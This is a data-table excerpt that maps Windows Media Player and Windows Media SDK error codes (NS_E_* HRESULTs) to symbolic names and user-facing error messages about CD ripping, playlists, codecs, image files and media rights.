0xC00D0BCD: ("NS_E_UNSUPPORTED_PROPERTY", "The given property is not supported."),
0xC00D0BCE: ("NS_E_8BIT_WAVE_UNSUPPORTED", "Windows Media Player cannot copy the files to the CD because they are 8-bit. Convert the files to 16-bit, 44-kHz stereo files by using Sound Recorder or another audio-processing program, and then try again."),
0xC00D0BCF: ("NS_E_NO_MORE_SAMPLES", "There are no more samples in the current range."),
0xC00D0BD0: ("NS_E_INVALID_SAMPLING_RATE", "The given sampling rate is invalid."),
0xC00D0BD1: ("NS_E_MAX_PACKET_SIZE_TOO_SMALL", "The given maximum packet size is too small to accommodate this profile.)"),
0xC00D0BD2: ("NS_E_LATE_PACKET", "The packet arrived too late to be of use."),
0xC00D0BD3: ("NS_E_DUPLICATE_PACKET", "The packet is a duplicate of one received before."),
0xC00D0BD4: ("NS_E_SDK_BUFFERTOOSMALL", "Supplied buffer is too small."),
0xC00D0BD5: ("NS_E_INVALID_NUM_PASSES", "The wrong number of preprocessing passes was used for the stream's output type."),
0xC00D0BD6: ("NS_E_ATTRIBUTE_READ_ONLY", "An attempt was made to add, modify, or delete a read only attribute."),
0xC00D0BD7: ("NS_E_ATTRIBUTE_NOT_ALLOWED", "An attempt was made to add attribute that is not allowed for the given media type."),
0xC00D0BD8: ("NS_E_INVALID_EDL", "The EDL provided is invalid."),
0xC00D0BD9: ("NS_E_DATA_UNIT_EXTENSION_TOO_LARGE", "The Data Unit Extension data was too large to be used."),
0xC00D0BDA: ("NS_E_CODEC_DMO_ERROR", "An unexpected error occurred with a DMO codec."),
0xC00D0BDC: ("NS_E_FEATURE_DISABLED_BY_GROUP_POLICY", "This feature has been disabled by group policy."),
0xC00D0BDD: ("NS_E_FEATURE_DISABLED_IN_SKU", "This feature is disabled in this SKU."),
0xC00D0FA0: ("NS_E_NO_CD", "There is no CD in the CD drive. Insert a CD, and then try again."),
0xC00D0FA1: ("NS_E_CANT_READ_DIGITAL", "Windows Media Player could not use digital playback to play the CD. To switch to analog playback, on the Tools menu, click Options, and then click the Devices tab. Double-click the CD drive, and then in the Playback area, click Analog. For additional assistance, click Web Help."),
0xC00D0FA2: ("NS_E_DEVICE_DISCONNECTED", "Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try synchronizing the file again."),
0xC00D0FA3: ("NS_E_DEVICE_NOT_SUPPORT_FORMAT", "Windows Media Player cannot play the file. The portable device does not support the specified file type."),
0xC00D0FA4: ("NS_E_SLOW_READ_DIGITAL", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
0xC00D0FA5: ("NS_E_MIXER_INVALID_LINE", "An invalid line error occurred in the mixer."),
0xC00D0FA6: ("NS_E_MIXER_INVALID_CONTROL", "An invalid control error occurred in the mixer."),
0xC00D0FA7: ("NS_E_MIXER_INVALID_VALUE", "An invalid value error occurred in the mixer."),
0xC00D0FA8: ("NS_E_MIXER_UNKNOWN_MMRESULT", "An unrecognized MMRESULT occurred in the mixer."),
0xC00D0FA9: ("NS_E_USER_STOP", "User has stopped the operation."),
0xC00D0FAA: ("NS_E_MP3_FORMAT_NOT_FOUND", "Windows Media Player cannot rip the track because a compatible MP3 encoder is not installed on your computer. Install a compatible MP3 encoder or choose a different format to rip to (such as Windows Media Audio)."),
0xC00D0FAB: ("NS_E_CD_READ_ERROR_NO_CORRECTION", "Windows Media Player cannot read the CD. The disc might be dirty or damaged. Turn on error correction, and then try again."),
0xC00D0FAC: ("NS_E_CD_READ_ERROR", "Windows Media Player cannot read the CD. The disc might be dirty or damaged or the CD drive might be malfunctioning."),
0xC00D0FAD: ("NS_E_CD_SLOW_COPY", "For best performance, do not play CD tracks while ripping them."),
0xC00D0FAE: ("NS_E_CD_COPYTO_CD", "It is not possible to directly burn tracks from one CD to another CD. You must first rip the tracks from the CD to your computer, and then burn the files to a blank CD."),
0xC00D0FAF: ("NS_E_MIXER_NODRIVER", "Could not open a sound mixer driver."),
0xC00D0FB0: ("NS_E_REDBOOK_ENABLED_WHILE_COPYING", "Windows Media Player cannot rip tracks from the CD correctly because the CD drive settings in Device Manager do not match the CD drive settings in the Player."),
0xC00D0FB1: ("NS_E_CD_REFRESH", "Windows Media Player is busy reading the CD."),
0xC00D0FB2: ("NS_E_CD_DRIVER_PROBLEM", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
0xC00D0FB3: ("NS_E_WONT_DO_DIGITAL", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
0xC00D0FB4: ("NS_E_WMPXML_NOERROR", "A call was made to GetParseError on the XML parser but there was no error to retrieve."),
0xC00D0FB5: ("NS_E_WMPXML_ENDOFDATA", "The XML Parser ran out of data while parsing."),
0xC00D0FB6: ("NS_E_WMPXML_PARSEERROR", "A generic parse error occurred in the XML parser but no information is available."),
0xC00D0FB7: ("NS_E_WMPXML_ATTRIBUTENOTFOUND", "A call get GetNamedAttribute or GetNamedAttributeIndex on the XML parser resulted in the index not being found."),
0xC00D0FB8: ("NS_E_WMPXML_PINOTFOUND", "A call was made go GetNamedPI on the XML parser, but the requested Processing Instruction was not found."),
0xC00D0FB9: ("NS_E_WMPXML_EMPTYDOC", "Persist was called on the XML parser, but the parser has no data to persist."),
0xC00D0FBA: ("NS_E_WMP_PATH_ALREADY_IN_LIBRARY", "This file path is already in the library."),
0xC00D0FBE: ("NS_E_WMP_FILESCANALREADYSTARTED", "Windows Media Player is already searching for files to add to your library. Wait for the current process to finish before attempting to search again."),
0xC00D0FBF: ("NS_E_WMP_HME_INVALIDOBJECTID", "Windows Media Player is unable to find the media you are looking for."),
0xC00D0FC0: ("NS_E_WMP_MF_CODE_EXPIRED", "A component of Windows Media Player is out-of-date. If you are running a pre-release version of Windows, try upgrading to a more recent version."),
0xC00D0FC1: ("NS_E_WMP_HME_NOTSEARCHABLEFORITEMS", "This container does not support search on items."),
0xC00D0FC7: ("NS_E_WMP_ADDTOLIBRARY_FAILED", "Windows Media Player encountered a problem while adding one or more files to the library. For additional assistance, click Web Help."),
0xC00D0FC8: ("NS_E_WMP_WINDOWSAPIFAILURE", "A Windows API call failed but no error information was available."),
0xC00D0FC9: ("NS_E_WMP_RECORDING_NOT_ALLOWED", "This file does not have burn rights. If you obtained this file from an online store, go to the online store to get burn rights."),
0xC00D0FCA: ("NS_E_DEVICE_NOT_READY", "Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try to sync the file again."),
0xC00D0FCB: ("NS_E_DAMAGED_FILE", "Windows Media Player cannot play the file because it is corrupted."),
0xC00D0FCC: ("NS_E_MPDB_GENERIC", "Windows Media Player encountered an error while attempting to access information in the library. Try restarting the Player."),
0xC00D0FCD: ("NS_E_FILE_FAILED_CHECKS", "The file cannot be added to the library because it is smaller than the \"Skip files smaller than\" setting. To add the file, change the setting on the Library tab. For additional assistance, click Web Help."),
0xC00D0FCE: ("NS_E_MEDIA_LIBRARY_FAILED", "Windows Media Player cannot create the library. You must be logged on as an administrator or a member of the Administrators group to install the Player. For more information, contact your system administrator."),
0xC00D0FCF: ("NS_E_SHARING_VIOLATION", "The file is already in use. Close other programs that might be using the file, or stop playing the file, and then try again."),
0xC00D0FD0: ("NS_E_NO_ERROR_STRING_FOUND", "Windows Media Player has encountered an unknown error."),
0xC00D0FD1: ("NS_E_WMPOCX_NO_REMOTE_CORE", "The Windows Media Player ActiveX control cannot connect to remote media services, but will continue with local media services."),
0xC00D0FD2: ("NS_E_WMPOCX_NO_ACTIVE_CORE", "The requested method or property is not available because the Windows Media Player ActiveX control has not been properly activated."),
0xC00D0FD3: ("NS_E_WMPOCX_NOT_RUNNING_REMOTELY", "The Windows Media Player ActiveX control is not running in remote mode."),
0xC00D0FD4: ("NS_E_WMPOCX_NO_REMOTE_WINDOW", "An error occurred while trying to get the remote Windows Media Player window."),
0xC00D0FD5: ("NS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE", "Windows Media Player has encountered an unknown error."),
0xC00D0FD6: ("NS_E_PLUGIN_NOTSHUTDOWN", "Windows Media Player was not closed properly. A damaged or incompatible plug-in might have caused the problem to occur. As a precaution, all optional plug-ins have been disabled."),
0xC00D0FD7: ("NS_E_WMP_CANNOT_FIND_FOLDER", "Windows Media Player cannot find the specified path. Verify that the path is typed correctly. If it is, the path does not exist in the specified location, or the computer where the path is located is not available."),
0xC00D0FD8: ("NS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED", "Windows Media Player cannot save a file that is being streamed."),
0xC00D0FD9: ("NS_E_WMP_PLUGINDLL_NOTFOUND", "Windows Media Player cannot find the selected plug-in. The Player will try to remove it from the menu. To use this plug-in, install it again."),
0xC00D0FDA: ("NS_E_NEED_TO_ASK_USER", "Action requires input from the user."),
0xC00D0FDB: ("NS_E_WMPOCX_PLAYER_NOT_DOCKED", "The Windows Media Player ActiveX control must be in a docked state for this action to be performed."),
0xC00D0FDC: ("NS_E_WMP_EXTERNAL_NOTREADY", "The Windows Media Player external object is not ready."),
0xC00D0FDD: ("NS_E_WMP_MLS_STALE_DATA", "Windows Media Player cannot perform the requested action. Your computer's time and date might not be set correctly."),
0xC00D0FDE: ("NS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED", "The control (%s) does not support creation of sub-controls, yet (%d) sub-controls have been specified."),
0xC00D0FDF: ("NS_E_WMP_UI_VERSIONMISMATCH", "Version mismatch: (%.1f required, %.1f found)."),
0xC00D0FE0: ("NS_E_WMP_UI_NOTATHEMEFILE", "The layout manager was given valid XML that wasn't a theme file."),
0xC00D0FE1: ("NS_E_WMP_UI_SUBELEMENTNOTFOUND", "The %s subelement could not be found on the %s object."),
0xC00D0FE2: ("NS_E_WMP_UI_VERSIONPARSE", "An error occurred parsing the version tag. Valid version tags are of the form: ."),
0xC00D0FE3: ("NS_E_WMP_UI_VIEWIDNOTFOUND", "The view specified in for the 'currentViewID' property (%s) was not found in this theme file."),
0xC00D0FE4: ("NS_E_WMP_UI_PASSTHROUGH", "This error used internally for hit testing."),
0xC00D0FE5: ("NS_E_WMP_UI_OBJECTNOTFOUND", "Attributes were specified for the %s object, but the object was not available to send them to."),
0xC00D0FE6: ("NS_E_WMP_UI_SECONDHANDLER", "The %s event already has a handler, the second handler was ignored."),
0xC00D0FE7: ("NS_E_WMP_UI_NOSKININZIP", "No .wms file found in skin archive."),
0xC00D0FEA: ("NS_E_WMP_URLDOWNLOADFAILED", "Windows Media Player encountered a problem while downloading the file. For additional assistance, click Web Help."),
0xC00D0FEB: ("NS_E_WMPOCX_UNABLE_TO_LOAD_SKIN", "The Windows Media Player ActiveX control cannot load the requested uiMode and cannot roll back to the existing uiMode."),
0xC00D0FEC: ("NS_E_WMP_INVALID_SKIN", "Windows Media Player encountered a problem with the skin file. The skin file might not be valid."),
0xC00D0FED: ("NS_E_WMP_SENDMAILFAILED", "Windows Media Player cannot send the link because your email program is not responding. Verify that your email program is configured properly, and then try again. For more information about email, see Windows Help."),
0xC00D0FEE: ("NS_E_WMP_LOCKEDINSKINMODE", "Windows Media Player cannot switch to full mode because your computer administrator has locked this skin."),
0xC00D0FEF: ("NS_E_WMP_FAILED_TO_SAVE_FILE", "Windows Media Player encountered a problem while saving the file. For additional assistance, click Web Help."),
0xC00D0FF0: ("NS_E_WMP_SAVEAS_READONLY", "Windows Media Player cannot overwrite a read-only file. Try using a different file name."),
0xC00D0FF1: ("NS_E_WMP_FAILED_TO_SAVE_PLAYLIST", "Windows Media Player encountered a problem while creating or saving the playlist. For additional assistance, click Web Help."),
0xC00D0FF2: ("NS_E_WMP_FAILED_TO_OPEN_WMD", "Windows Media Player cannot open the Windows Media Download file. The file might be damaged."),
0xC00D0FF3: ("NS_E_WMP_CANT_PLAY_PROTECTED", "The file cannot be added to the library because it is a protected DVR-MS file. This content cannot be played back by Windows Media Player."),
0xC00D0FF4: ("NS_E_SHARING_STATE_OUT_OF_SYNC", "Media sharing has been turned off because a required Windows setting or component has changed. For additional assistance, click Web Help."),
0xC00D0FFA: ("NS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING", "Exclusive Services launch failed because the Windows Media Player is already running."),
0xC00D1004: ("NS_E_WMP_RBC_JPGMAPPINGIMAGE", "JPG Images are not recommended for use as a mappingImage."),
0xC00D1005: ("NS_E_WMP_JPGTRANSPARENCY", "JPG Images are not recommended when using a transparencyColor."),
0xC00D1009: ("NS_E_WMP_INVALID_MAX_VAL", "The Max property cannot be less than Min property."),
0xC00D100A: ("NS_E_WMP_INVALID_MIN_VAL", "The Min property cannot be greater than Max property."),
0xC00D100E: ("NS_E_WMP_CS_JPGPOSITIONIMAGE", "JPG Images are not recommended for use as a positionImage."),
0xC00D100F: ("NS_E_WMP_CS_NOTEVENLYDIVISIBLE", "The (%s) image's size is not evenly divisible by the positionImage's size."),
0xC00D1018: ("NS_E_WMPZIP_NOTAZIPFILE", "The ZIP reader opened a file and its signature did not match that of the ZIP files."),
0xC00D1019: ("NS_E_WMPZIP_CORRUPT", "The ZIP reader has detected that the file is corrupted."),
0xC00D101A: ("NS_E_WMPZIP_FILENOTFOUND", "GetFileStream, SaveToFile, or SaveTemp file was called on the ZIP reader with a file name that was not found in the ZIP file."),
0xC00D1022: ("NS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED", "Image type not supported."),
0xC00D1023: ("NS_E_WMP_IMAGE_INVALID_FORMAT", "Image file may be corrupt."),
0xC00D1024: ("NS_E_WMP_GIF_UNEXPECTED_ENDOFFILE", "Unexpected end of file. GIF file may be corrupt."),
0xC00D1025: ("NS_E_WMP_GIF_INVALID_FORMAT", "Invalid GIF file."),
0xC00D1026: ("NS_E_WMP_GIF_BAD_VERSION_NUMBER", "Invalid GIF version. Only 87a or 89a supported."),
0xC00D1027: ("NS_E_WMP_GIF_NO_IMAGE_IN_FILE", "No images found in GIF file."),
0xC00D1028: ("NS_E_WMP_PNG_INVALIDFORMAT", "Invalid PNG image file format."),
0xC00D1029: ("NS_E_WMP_PNG_UNSUPPORTED_BITDEPTH", "PNG bitdepth not supported."),
0xC00D102A: ("NS_E_WMP_PNG_UNSUPPORTED_COMPRESSION", "Compression format defined in PNG file not supported,"),
0xC00D102B: ("NS_E_WMP_PNG_UNSUPPORTED_FILTER", "Filter method defined in PNG file not supported."),
0xC00D102C: ("NS_E_WMP_PNG_UNSUPPORTED_INTERLACE", "Interlace method defined in PNG file not supported."),
0xC00D102D: ("NS_E_WMP_PNG_UNSUPPORTED_BAD_CRC", "Bad CRC in PNG file."),
0xC00D102E: ("NS_E_WMP_BMP_INVALID_BITMASK", "Invalid bitmask in BMP file."),
0xC00D102F: ("NS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED", "Topdown DIB not supported."),
0xC00D1030: ("NS_E_WMP_BMP_BITMAP_NOT_CREATED", "Bitmap could not be created."),
0xC00D1031: ("NS_E_WMP_BMP_COMPRESSION_UNSUPPORTED", "Compression format defined in BMP not supported."),
0xC00D1032: ("NS_E_WMP_BMP_INVALID_FORMAT", "Invalid Bitmap format."),
0xC00D1033: ("NS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL", "JPEG Arithmetic coding not supported."),
0xC00D1034: ("NS_E_WMP_JPG_INVALID_FORMAT", "Invalid JPEG format."),
0xC00D1035: ("NS_E_WMP_JPG_BAD_DCTSIZE", "Invalid JPEG format."),
0xC00D1036: ("NS_E_WMP_JPG_BAD_VERSION_NUMBER", "Internal version error. Unexpected JPEG library version."),
0xC00D1037: ("NS_E_WMP_JPG_BAD_PRECISION", "Internal JPEG Library error. Unsupported JPEG data precision."),
0xC00D1038: ("NS_E_WMP_JPG_CCIR601_NOTIMPL", "JPEG CCIR601 not supported."),
0xC00D1039: ("NS_E_WMP_JPG_NO_IMAGE_IN_FILE", "No image found in JPEG file."),
0xC00D103A: ("NS_E_WMP_JPG_READ_ERROR", "Could not read JPEG file."),
0xC00D103B: ("NS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL", "JPEG Fractional sampling not supported."),
0xC00D103C: ("NS_E_WMP_JPG_IMAGE_TOO_BIG", "JPEG image too large. Maximum image size supported is 65500 X 65500."),
0xC00D103D: ("NS_E_WMP_JPG_UNEXPECTED_ENDOFFILE", "Unexpected end of file reached in JPEG file."),
0xC00D103E: ("NS_E_WMP_JPG_SOF_UNSUPPORTED", "Unsupported JPEG SOF marker found."),
0xC00D103F: ("NS_E_WMP_JPG_UNKNOWN_MARKER", "Unknown JPEG marker found."),
0xC00D1044: ("NS_E_WMP_FAILED_TO_OPEN_IMAGE", "Windows Media Player cannot display the picture file. The player either does not support the picture type or the picture is corrupted."),
0xC00D1049: ("NS_E_WMP_DAI_SONGTOOSHORT", "Windows Media Player cannot compute a Digital Audio Id for the song. It is too short."),
0xC00D104A: ("NS_E_WMG_RATEUNAVAILABLE", "Windows Media Player cannot play the file at the requested speed."),
0xC00D104B: ("NS_E_WMG_PLUGINUNAVAILABLE", "The rendering or digital signal processing plug-in cannot be instantiated."),
0xC00D104C: ("NS_E_WMG_CANNOTQUEUE", "The file cannot be queued for seamless playback."),
0xC00D104D: ("NS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED", "Windows Media Player cannot download media usage rights for a file in the playlist."),
0xC00D104E: ("NS_E_WMG_UNEXPECTEDPREROLLSTATUS", "Windows Media Player encountered an error while trying to queue a file."),
0xC00D1051: ("NS_E_WMG_INVALID_COPP_CERTIFICATE", "Windows Media Player cannot play the protected file. The Player cannot verify that the connection to your video card is secure. Try installing an updated device driver for your video card."),
0xC00D1052: ("NS_E_WMG_COPP_SECURITY_INVALID", "Windows Media Player cannot play the protected file. The Player detected that the connection to your hardware might not be secure."),
0xC00D1053: ("NS_E_WMG_COPP_UNSUPPORTED", "Windows Media Player output link protection is unsupported on this system."),
0xC00D1054: ("NS_E_WMG_INVALIDSTATE", "Operation attempted in an invalid graph state."),
0xC00D1055: ("NS_E_WMG_SINKALREADYEXISTS", "A renderer cannot be inserted in a stream while one already exists."),
0xC00D1056: ("NS_E_WMG_NOSDKINTERFACE", "The Windows Media SDK interface needed to complete the operation does not exist at this time."),
0xC00D1057: ("NS_E_WMG_NOTALLOUTPUTSRENDERED", "Windows Media Player cannot play a portion of the file because it requires a codec that either could not be downloaded or that is not supported by the Player."),
0xC00D1058: ("NS_E_WMG_FILETRANSFERNOTALLOWED", "File transfer streams are not allowed in the standalone Player."),
0xC00D1059: ("NS_E_WMR_UNSUPPORTEDSTREAM", "Windows Media Player cannot play the file. The Player does not support the format you are trying to play."),
0xC00D105A: ("NS_E_WMR_PINNOTFOUND", "An operation was attempted on a pin that does not exist in the DirectShow filter graph."),
0xC00D105B: ("NS_E_WMR_WAITINGONFORMATSWITCH", "Specified operation cannot be completed while waiting for a media format change from the SDK."),
0xC00D105C: ("NS_E_WMR_NOSOURCEFILTER", "Specified operation cannot be completed because the source filter does not exist."),
0xC00D105D: ("NS_E_WMR_PINTYPENOMATCH", "The specified type does not match this pin."),
0xC00D105E: ("NS_E_WMR_NOCALLBACKAVAILABLE", "The WMR Source Filter does not have a callback available."),
0xC00D1062: ("NS_E_WMR_SAMPLEPROPERTYNOTSET", "The specified property has not been set on this sample."),
0xC00D1063: ("NS_E_WMR_CANNOT_RENDER_BINARY_STREAM", "A plug-in is required to correctly play the file. To determine if the plug-in is available to download, click Web Help."),
0xC00D1064: ("NS_E_WMG_LICENSE_TAMPERED", "Windows Media Player cannot play the file because your media usage rights are corrupted. If you previously backed up your media usage rights, try restoring them."),
0xC00D1065: ("NS_E_WMR_WILLNOT_RENDER_BINARY_STREAM", "Windows Media Player cannot play protected files that contain binary streams."),
0xC00D1068: ("NS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
0xC00D1069: ("NS_E_ASX_INVALIDFORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
0xC00D106A: ("NS_E_ASX_INVALIDVERSION", "A later version of Windows Media Player might be required to play this playlist."),
0xC00D106B: ("NS_E_ASX_INVALID_REPEAT_BLOCK", "The format of a REPEAT loop within the current playlist file is not valid."),
0xC00D106C: ("NS_E_ASX_NOTHING_TO_WRITE", "Windows Media Player cannot save the playlist because it does not contain any items."),
0xC00D106D: ("NS_E_URLLIST_INVALIDFORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
0xC00D106E: ("NS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST", "The specified attribute does not exist."),
0xC00D106F: ("NS_E_WMX_ATTRIBUTE_ALREADY_EXISTS", "The specified attribute already exists."),
0xC00D1070: ("NS_E_WMX_ATTRIBUTE_UNRETRIEVABLE", "Cannot retrieve the specified attribute."),
0xC00D1071: ("NS_E_WMX_ITEM_DOES_NOT_EXIST", "The specified item does not exist in the current playlist."),
0xC00D1072: ("NS_E_WMX_ITEM_TYPE_ILLEGAL", "Items of the specified type cannot be created within the current playlist."),
0xC00D1073: ("NS_E_WMX_ITEM_UNSETTABLE", "The specified item cannot be set in the current playlist."),
0xC00D1074: ("NS_E_WMX_PLAYLIST_EMPTY", "Windows Media Player cannot perform the requested action because the playlist does not contain any items."),
0xC00D1075: ("NS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED", "The specified auto playlist contains a filter type that is either not valid or is not installed on this computer."),
0xC00D1076: ("NS_E_WMX_INVALID_FORMAT_OVER_NESTING", "Windows Media Player cannot play the file because the associated playlist contains too many nested playlists."),
0xC00D107C: ("NS_E_WMPCORE_NOSOURCEURLSTRING", "Windows Media Player cannot find the file. Verify that the path is typed correctly. If it is, the file might not exist in the specified location, or the computer where the file is stored might not be available."),
0xC00D107D: ("NS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT", "Failed to create the Global Interface Table."),
0xC00D107E: ("NS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE", "Failed to get the marshaled graph event handler interface."),
0xC00D107F: ("NS_E_WMPCORE_BUFFERTOOSMALL", "Buffer is too small for copying media type."),
0xC00D1080: ("NS_E_WMPCORE_UNAVAILABLE", "The current state of the Player does not allow this operation."),
0xC00D1081: ("NS_E_WMPCORE_INVALIDPLAYLISTMODE", "The playlist manager does not understand the current play mode (for example, shuffle or normal)."),
0xC00D1086: ("NS_E_WMPCORE_ITEMNOTINPLAYLIST", "Windows Media Player cannot play the file because it is not in the current playlist."),
0xC00D1087: ("NS_E_WMPCORE_PLAYLISTEMPTY", "There are no items in the playlist. Add items to the playlist, and then try again."),
0xC00D1088: ("NS_E_WMPCORE_NOBROWSER", "The web page cannot be displayed because no web browser is installed on your computer."),
0xC00D1089: ("NS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL", "Windows Media Player cannot find the specified file. Verify the path is typed correctly. If it is, the file does not exist in the specified location, or the computer where the file is stored is not available."),
0xC00D108A: ("NS_E_WMPCORE_GRAPH_NOT_IN_LIST", "Graph with the specified URL was not found in the prerolled graph list."),
0xC00D108B: ("NS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA", "Windows Media Player cannot perform the requested operation because there is only one item in the playlist."),
0xC00D108C: ("NS_E_WMPCORE_ERRORSINKNOTREGISTERED", "An error sink was never registered for the calling object."),
0xC00D108D: ("NS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE", "The error manager is not available to respond to errors."),
0xC00D108E: ("NS_E_WMPCORE_WEBHELPFAILED", "The Web Help URL cannot be opened."),
0xC00D108F: ("NS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED", "Could not resume playing next item in playlist."),
0xC00D1090: ("NS_E_WMPCORE_NO_REF_IN_ENTRY", "Windows Media Player cannot play the file because the associated playlist does not contain any items or the playlist is not valid."),
0xC00D1091: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY", "An empty string for playlist attribute name was found."),
0xC00D1092: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL", "A playlist attribute name that is not valid was found."),
0xC00D1093: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY", "An empty string for a playlist attribute value was found."),
0xC00D1094: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL", "An illegal value for a playlist attribute was found."),
0xC00D1095: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY", "An empty string for a playlist item attribute name was found."),
0xC00D1096: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL", "An illegal value for a playlist item attribute name was found."),
0xC00D1097: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY", "An illegal value for a playlist item attribute was found."),
0xC00D1098: ("NS_E_WMPCORE_LIST_ENTRY_NO_REF", "The playlist does not contain any items."),
0xC00D1099: ("NS_E_WMPCORE_MISNAMED_FILE", "Windows Media Player cannot play the file. The file is either corrupted or the Player does not support the format you are trying to play."),
0xC00D109A: ("NS_E_WMPCORE_CODEC_NOT_TRUSTED", "The codec downloaded for this file does not appear to be properly signed, so it cannot be installed."),
0xC00D109B: ("NS_E_WMPCORE_CODEC_NOT_FOUND", "Windows Media Player cannot play the file. One or more codecs required to play the file could not be found."),
0xC00D109C: ("NS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED", "Windows Media Player cannot play the file because a required codec is not installed on your computer. To try downloading the codec, turn on the \"Download codecs automatically\" option."),
0xC00D109D: ("NS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST", "Windows Media Player encountered a problem while downloading the playlist. For additional assistance, click Web Help."),
0xC00D109E: ("NS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST", "Failed to build the playlist."),
0xC00D109F: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE", "Playlist has no alternates to switch into."),
0xC00D10A0: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED", "No more playlist alternates available to switch to."),
0xC00D10A1: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND", "Could not find the name of the alternate playlist to switch into."),
0xC00D10A2: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED", "Failed to switch to an alternate for this media."),
0xC00D10A3: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED", "Failed to initialize an alternate for the media."),
0xC00D10A4: ("NS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY", "No URL specified for the roll over Refs in the playlist file."),
0xC00D10A5: ("NS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME", "Encountered a playlist with no name."),
0xC00D10A6: ("NS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT", "A required attribute in the event block of the playlist was not found."),
0xC00D10A7: ("NS_E_WMPCORE_PLAYLIST_EVENT_EMPTY", "No items were found in the event block of the playlist."),
0xC00D10A8: ("NS_E_WMPCORE_PLAYLIST_STACK_EMPTY", "No playlist was found while returning from a nested playlist."),
0xC00D10A9: ("NS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE", "The media item is not active currently."),
0xC00D10AB: ("NS_E_WMPCORE_USER_CANCEL", "Windows Media Player cannot perform the requested action because you chose to cancel it."),
0xC00D10AC: ("NS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY", "Windows Media Player encountered a problem with the playlist. The format of the playlist is not valid."),
0xC00D10AD: ("NS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE", "Media object corresponding to start of a playlist repeat block was not found."),
0xC00D10AE: ("NS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE", "Media object corresponding to the end of a playlist repeat block was not found."),
0xC00D10AF: ("NS_E_WMPCORE_INVALID_PLAYLIST_URL", "The playlist URL supplied to the playlist manager is not valid."),
0xC00D10B0: ("NS_E_WMPCORE_MISMATCHED_RUNTIME", "Windows Media Player cannot play the file because it is corrupted."),
0xC00D10B1: ("NS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS", "Windows Media Player cannot add the playlist to the library because the playlist does not contain any items."),
0xC00D10B2: ("NS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION", "An error has occurred that could prevent the changing of the video contrast on this media."),
0xC00D10B3: ("NS_E_WMPCORE_MEDIA_UNAVAILABLE", "Windows Media Player cannot play the file. If the file is located on the Internet, connect to the Internet. If the file is located on a removable storage card, insert the storage card."),
0xC00D10B4: ("NS_E_WMPCORE_WMX_ENTRYREF_NO_REF", "The playlist contains an ENTRYREF for which no href was parsed. Check the syntax of playlist file."),
0xC00D10B5: ("NS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST", "Windows Media Player cannot play any items in the playlist. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane."),
0xC00D10B6: ("NS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS", "Windows Media Player cannot play some or all of the items in the playlist because the playlist is nested."),
0xC00D10B7: ("NS_E_WMPCORE_BUSY", "Windows Media Player cannot play the file at this time. Try again later."),
0xC00D10B8: ("NS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE", "There is no child playlist available for this media item at this time."),
0xC00D10B9: ("NS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST", "There is no child playlist for this media item."),
